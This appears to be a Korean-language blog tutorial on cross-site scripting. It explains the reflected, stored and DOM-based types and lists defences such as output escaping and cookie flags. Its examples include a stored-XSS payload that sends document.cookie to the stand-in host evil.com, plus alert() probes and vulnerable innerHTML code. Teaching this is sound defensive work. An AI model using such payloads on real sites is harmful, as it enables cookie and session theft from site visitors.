XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.
XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.
주로 다음과 같은 상황에서 발생합니다:
정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.
특징:
예시:
http://example.com/search?q=<script>alert('XSS')</script>
서버가 q
파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.
정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.
특징:
예시:
<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>
이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.
정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.
특징:
예시 (취약한 코드):
var userInput = location.hash.substring(1); // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;
해당 페이지 URL에 #<script>alert(1)</script>
를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.
<
→ <
, >
→ >
등)textContent
, innerText
등을 활용HttpOnly
, Secure
, SameSite
속성 지정[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]
또는, 저장형의 경우:
[공격자 → 게시판에 악성 스크립트 저장]
↓
[다른 사용자 → 게시판 열람]
↓
[브라우저에서 악성 스크립트 실행]
↓
[세션 탈취, 키로깅, 피싱 등]
윈도우 운영체제의 노트북에서는 iPhone 유선 테더링이 잘 안되는 경우가 많습니다. 보통 iPhone의 드라이버가 설치가 안되있어서인…
안녕하세요, 혹시 이런 생각해 본 적 없으신가요? "내가 투자한 회사는 누가 감시하고, 어떻게 운영될까?" 오늘은…
1. Gemini CLI란 무엇인가요? Gemini CLI는 터미널 환경에서 직접 Gemini 모델과 상호작용할 수 있도록 만들어진…
과적합은 머신러닝에서 학습용데이터를 과하게 학습하여, 실제데이터를 예측하지 못하는 현상을 말합니다. 인공지능(AI)의 학습 방법은 우리가 시험공부를…